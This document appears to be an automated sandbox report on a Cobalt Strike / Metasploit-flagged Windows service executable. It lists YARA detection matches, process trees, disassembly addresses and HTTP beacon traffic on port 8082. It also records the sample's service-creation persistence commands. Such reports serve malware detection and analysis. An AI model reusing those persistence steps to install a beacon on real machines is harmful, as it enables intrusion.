Source: 00000007.00000002.780169919.00000000010D2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000007.00000002.780169919.00000000010D2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: FireEye
Source: 00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown

Source: 8082-svc-x86.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: 8082-svc-x86.exe, type: SAMPLE	Matched rule: CobaltStrike_Resources_Artifact32_v3_14_to_v4_x date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s resources/artifact32{.dll,.exe,big.exe,big.dll,bigsvc.exe} signature for versions 3.14 to 4.x and resources/artifact32svc.exe for 3.14 to 4.x and resources/artifact32uac.dll for v3.14 and v4.0, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 888bae8d89c03c1d529b04f9e4a051140ce3d7b39bc9ea021ad9fc7c9f467719
Source: 8082-svc-x86.exe, type: SAMPLE	Matched rule: CobaltStrike_Resources_Artifact32svc_Exe_v3_1_v3_2_v3_14_and_v4_x date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s resources/artifact32svc(big).exe signature for versions 3.1 and 3.2 (with overlap with v3.14 through v4.x), reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 871390255156ce35221478c7837c52d926dfd581173818620b738b4b029e6fd9
Source: 6.2.8082-svc-x86.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_Resources_Artifact32_v3_14_to_v4_x date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s resources/artifact32{.dll,.exe,big.exe,big.dll,bigsvc.exe} signature for versions 3.14 to 4.x and resources/artifact32svc.exe for 3.14 to 4.x and resources/artifact32uac.dll for v3.14 and v4.0, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 888bae8d89c03c1d529b04f9e4a051140ce3d7b39bc9ea021ad9fc7c9f467719
Source: 6.2.8082-svc-x86.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_Resources_Artifact32svc_Exe_v3_1_v3_2_v3_14_and_v4_x date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s resources/artifact32svc(big).exe signature for versions 3.1 and 3.2 (with overlap with v3.14 through v4.x), reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 871390255156ce35221478c7837c52d926dfd581173818620b738b4b029e6fd9
Source: 6.0.8082-svc-x86.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_Resources_Artifact32_v3_14_to_v4_x date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s resources/artifact32{.dll,.exe,big.exe,big.dll,bigsvc.exe} signature for versions 3.14 to 4.x and resources/artifact32svc.exe for 3.14 to 4.x and resources/artifact32uac.dll for v3.14 and v4.0, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 888bae8d89c03c1d529b04f9e4a051140ce3d7b39bc9ea021ad9fc7c9f467719
Source: 6.0.8082-svc-x86.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_Resources_Artifact32svc_Exe_v3_1_v3_2_v3_14_and_v4_x date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s resources/artifact32svc(big).exe signature for versions 3.1 and 3.2 (with overlap with v3.14 through v4.x), reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 871390255156ce35221478c7837c52d926dfd581173818620b738b4b029e6fd9
Source: 00000007.00000002.780610935.0000000003DA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_PS1_FromBase64String_Content_Indicator date = 2020-01-25, author = Florian Roth, description = Detects suspicious base64 encoded PowerShell expressions, type = file, reference = https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639
Source: 00000007.00000002.780610935.0000000003DA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike_Resources_Command_Ps1_v2_5_to_v3_7_and_Resources_Compress_Ps1_v3_8_to_v4_x date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s resources/command.ps1 for versions 2.5 to v3.7 and resources/compress.ps1 from v3.8 to v4.x, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 932dec24b3863584b43caf9bb5d0cfbd7ed1969767d3061a7abdc05d3239ed62
Source: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike_Sleeve_Beacon_Dll_v4_3_v4_4_v4_5_and_v4_6 date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s sleeve/beacon.dll Versions 4.3 and 4.4, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, rs2 = 78a6fbefa677eeee29d1af4a294ee57319221b329a2fe254442f5708858b37dc, hash = 51490c01c72c821f476727c26fbbc85bdbc41464f95b28cdc577e5701790845f
Source: 00000006.00000000.252641646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: CobaltStrike_Resources_Artifact32svc_Exe_v3_1_v3_2_v3_14_and_v4_x date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s resources/artifact32svc(big).exe signature for versions 3.1 and 3.2 (with overlap with v3.14 through v4.x), reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 871390255156ce35221478c7837c52d926dfd581173818620b738b4b029e6fd9
Source: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike_Sleeve_BeaconLoader_VA_x86_o_v4_3_v4_4_v4_5_and_v4_6 date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s sleeve/BeaconLoader.VA.x86.o (VirtualAlloc) Versions 4.3 through at least 4.6, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 94d1b993a9d5786e0a9b44ea1c0dc27e225c9eb7960154881715c47f9af78cc1
Source: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date = 2020-12-02, author = FireEye, reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike_C2_Encoded_XOR_Config_Indicator date = 2021-07-08, author = yara@s3c.za.net, description = Detects CobaltStrike C2 encoded profile configuration
Source: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000007.00000002.780169919.00000000010D2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000007.00000002.780169919.00000000010D2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: CobaltStrike_Resources_Artifact32svc_Exe_v3_1_v3_2_v3_14_and_v4_x date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s resources/artifact32svc(big).exe signature for versions 3.1 and 3.2 (with overlap with v3.14 through v4.x), reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 871390255156ce35221478c7837c52d926dfd581173818620b738b4b029e6fd9
Source: 00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike_Sleeve_BeaconLoader_VA_x86_o_v4_3_v4_4_v4_5_and_v4_6 date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s sleeve/BeaconLoader.VA.x86.o (VirtualAlloc) Versions 4.3 through at least 4.6, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 94d1b993a9d5786e0a9b44ea1c0dc27e225c9eb7960154881715c47f9af78cc1
Source: 00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date = 2020-12-02, author = FireEye, reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike_C2_Encoded_XOR_Config_Indicator date = 2021-07-08, author = yara@s3c.za.net, description = Detects CobaltStrike C2 encoded profile configuration
Source: 00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: Process Memory Space: 8082-svc-x86.exe PID: 1284, type: MEMORYSTR	Matched rule: CobaltStrike_C2_Encoded_XOR_Config_Indicator date = 2021-07-08, author = yara@s3c.za.net, description = Detects CobaltStrike C2 encoded profile configuration
Source: Process Memory Space: rundll32.exe PID: 3128, type: MEMORYSTR	Matched rule: SUSP_PS1_FromBase64String_Content_Indicator date = 2020-01-25, author = Florian Roth, description = Detects suspicious base64 encoded PowerShell expressions, type = file, reference = https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639
Source: Process Memory Space: rundll32.exe PID: 3128, type: MEMORYSTR	Matched rule: CobaltStrike_Resources_Command_Ps1_v2_5_to_v3_7_and_Resources_Compress_Ps1_v3_8_to_v4_x date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s resources/command.ps1 for versions 2.5 to v3.7 and resources/compress.ps1 from v3.8 to v4.x, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 932dec24b3863584b43caf9bb5d0cfbd7ed1969767d3061a7abdc05d3239ed62
Source: Process Memory Space: rundll32.exe PID: 3128, type: MEMORYSTR	Matched rule: CobaltStrike_C2_Encoded_XOR_Config_Indicator date = 2021-07-08, author = yara@s3c.za.net, description = Detects CobaltStrike C2 encoded profile configuration

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_010A3410	7_2_010A3410
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_010C02D8	7_2_010C02D8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_010B6514	7_2_010B6514
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_010A3541	7_2_010A3541
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_010C3550	7_2_010C3550
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_010B14EB	7_2_010B14EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_010C3B20	7_2_010C3B20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_010C2CD0	7_2_010C2CD0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: String function: 010B6ADC appears 37 times

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_010A26E4 CreateProcessWithLogonW,GetLastError,_memset,GetLastError,

7_2_010A26E4

Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll			Jump to behavior

Source: 8082-svc-x86.exe	ReversingLabs: Detection: 92%
Source: 8082-svc-x86.exe	Virustotal: Detection: 79%

Source: 8082-svc-x86.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\sc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c sc create CfsHz binpath= "C:\Users\user\Desktop\8082-svc-x86.exe" >> C:\servicereg.log 2>&1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc create CfsHz binpath= "C:\Users\user\Desktop\8082-svc-x86.exe"
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c sc start CfsHz >> C:\servicestart.log 2>&1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc start CfsHz
Source: unknown	Process created: C:\Users\user\Desktop\8082-svc-x86.exe C:\Users\user\Desktop\8082-svc-x86.exe
Source: C:\Users\user\Desktop\8082-svc-x86.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\System32\rundll32.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc create CfsHz binpath= "C:\Users\user\Desktop\8082-svc-x86.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc start CfsHz	Jump to behavior
Source: C:\Users\user\Desktop\8082-svc-x86.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\System32\rundll32.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_010A2123 LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,

7_2_010A2123

Source: classification engine

Classification label: mal100.troj.evad.winEXE@21/3@0/1

Source: C:\Users\user\Desktop\8082-svc-x86.exe	Code function: 6_2_00402F5A StartServiceCtrlDispatcherA,		6_2_00402F5A
Source: C:\Users\user\Desktop\8082-svc-x86.exe	Code function: 6_2_00402F50 StartServiceCtrlDispatcherA,		6_2_00402F50

Source: C:\Users\user\Desktop\8082-svc-x86.exe

Code function: 6_2_00402F5A StartServiceCtrlDispatcherA,

6_2_00402F5A

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_010A78FB _memset,GetCurrentProcess,CreateToolhelp32Snapshot,Process32First,CloseHandle,OpenProcess,ProcessIdToSessionId,FindCloseChangeNotification,Process32Next,

7_2_010A78FB

Source: C:\Users\user\Desktop\8082-svc-x86.exe

Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\System32\rundll32.exe

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2752:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6068:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5512:120:WilError_01

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B471FA push ss; ret	7_3_00B4720F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B413E7 push FFFFFFC0h; ret	7_3_00B413F3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B4B4DA push esi; ret	7_3_00B4B4DD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B4B59F push esi; retf	7_3_00B4B59E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B4B59F push esi; iretd	7_3_00B4B5FE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B40527 push FFFFFF99h; ret	7_3_00B40533
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B4B556 push esi; retf	7_3_00B4B59E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B406D9 push eax; ret	7_3_00B406E6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B40634 push eax; ret	7_3_00B4063D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B4166C pushfd ; ret	7_3_00B41672
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B44668 push edi; ret	7_3_00B44677
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B407BB push ecx; ret	7_3_00B407C2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B4179A pushfd ; ret	7_3_00B417B3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B4078D push ecx; ret	7_3_00B40797
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B417DE push edx; ret	7_3_00B417EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B407C4 push ecx; ret	7_3_00B407CB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B407CD push ecx; ret	7_3_00B407D4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B40774 push ecx; ret	7_3_00B4077F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B40766 push ecx; ret	7_3_00B40770
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B40756 push ecx; ret	7_3_00B40764
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B418A6 push FFFFFFC2h; ret	7_3_00B41891
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B468E7 push esp; ret	7_3_00B468EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B40834 push edx; ret	7_3_00B40853
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B4087E push edx; ret	7_3_00B40887
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B41867 push FFFFFFC2h; ret	7_3_00B41891
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B40917 push edx; ret	7_3_00B4091D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B40972 push ebx; ret	7_3_00B40978
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B41A91 pushad ; iretd	7_3_00B41A93
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B49ADA push FFFFFFC3h; ret	7_3_00B49AF9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B41A7D pushad ; retf	7_3_00B41A86
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B41BA9 push eax; ret	7_3_00B41BC7

Source: C:\Users\user\Desktop\8082-svc-x86.exe

Code function: 6_2_00401BC9 _winmajor,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,

6_2_00401BC9

Source: C:\Users\user\Desktop\8082-svc-x86.exe

Code function: 6_2_00402F5A StartServiceCtrlDispatcherA,

6_2_00402F5A

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\sc.exe sc create CfsHz binpath= "C:\Users\user\Desktop\8082-svc-x86.exe"

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49713
